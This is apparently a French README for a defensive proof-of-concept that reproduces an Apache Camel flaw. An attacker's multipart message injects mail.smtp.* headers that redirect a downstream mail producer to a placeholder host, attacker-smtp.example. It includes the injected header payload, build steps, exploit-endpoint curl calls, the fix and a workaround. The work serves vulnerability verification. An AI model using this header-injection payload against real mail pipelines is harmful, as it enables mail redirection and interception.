
Reproducteur de preuve de concept exécutable pour CVE-2026-85314, démontrant l'injection d'en-tête mail.smtp via MimeMultipart de camel-mail dans Camel Spring Boot et Camel Quarkus, avec des contrôles corrigés.
MimeMultipart (mail.smtp*)Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où le format de données MimeMultipart de camel-mail mappait les en-têtes d'un message sur l'Exchange lors du démarshalling à l'aide d'un simple DefaultHeaderFilterStrategy, qui ne supprime pas l'espace de noms mail.smtp. / mail.smtps.. CVE-2026-46584 a fermé le chemin par lequel les en-têtes de messagerie atteignaient l'Exchange sans filtrage, mais ce format de données en conservait un non filtré : ces noms d'en-têtes ne portent aucun préfixe Camel (de sorte que le filtre d'en-têtes d'un consommateur ne les bloque pas non plus), et l'espace de noms mail.smtp contrôle la façon dont un producteur de messagerie en aval se connecte et envoie. Un expéditeur externe d'un message multipart pouvait donc injecter des propriétés de session JavaMail et rediriger la connexion de messagerie (CWE-20). Il s'agit d'un correctif incomplet de CVE-2026-46584 plutôt que d'une nouvelle classe de défaut.
| Runtime | Répertoire | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (affecté ; corrigé en 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, affecté ; contrôle corrigé CQ 3.40.0 / Camel 4.22.1) |
Les deux modules démontrent le comportement affecté et le comportement corrigé face au véritable MimeMultipartDataFormat.
Le pilote effectue le démarshalling d'un message multipart contrôlé par l'attaquant (mode inline-headers, reproduisant le propre MimeMultipartDataFormatTest du correctif) qui transporte des propriétés de session JavaMail sous forme d'en-têtes MIME, puis indique lesquelles ont atterri sur l'Exchange :
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth survivent tous à l'unmarshal et deviennent des en-têtes
Exchange — un producteur de courrier en aval les lirait, de sorte que l'expéditeur redirige l'endroit où le courrier est envoyé.mail.smtp.* est filtré lors de l'unmarshal (via MailHeaderFilterStrategy), tandis que
l'en-tête X-Normal, sans rapport, est conservé.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| Propriété | Valeur |
|---|---|
| Composant | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (Validation d'entrée incorrecte) |
| Gravité | MOYENNE |
| Vecteur d'attaque | Le message multipart d'un expéditeur externe porte des en-têtes MIME mail.smtp.* ; l'unmarshalling les mappe sur l'Exchange |
| Impact | Les propriétés de session JavaMail injectées orientent la manière et la destination de connexion et d'envoi d'un producteur de courrier en aval |
| Versions affectées | À partir de 4.0.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.1 |
| Versions corrigées | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| Connexe | Correctif incomplet de CVE-2026-46584 |
| Crédit | Claude Security Scan Tool |
Avis : https://camel.apache.org/security/CVE-2026-85314.html
Le module Quarkus affecté est construit sur CQ 3.39.0 (Camel 4.22.0). Le correctif de contrôle est CQ 3.40.0 (Camel 4.22.1).
MimeMultipartDataFormat utilise désormais MailHeaderFilterStrategy au lieu de
DefaultHeaderFilterStrategy, de sorte que l'espace de noms mail.smtp. / mail.smtps. est filtré lors de l'unmarshal exactement comme le
consommateur de courrier le filtre côté entrant (CAMEL-23522) — fermant ainsi la voie laissée ouverte par CVE-2026-46584.
Supprimez l'espace de noms après le format de données avec removeHeaders("mail.smtp*") avant tout producteur de courrier.
Ce dépôt est publié à des fins éducatives et défensives : pour aider les utilisateurs d'Apache Camel à comprendre la
vulnérabilité, vérifier s'ils sont affectés et confirmer que la mise à jour la résout. Le message multipart est un
fixture bénin en cours de processus ; attacker-smtp.example est un espace réservé et aucun courrier n'est envoyé. N'utilisez pas ce matériel
contre des systèmes que vous ne possédez pas ou n'exploitez pas.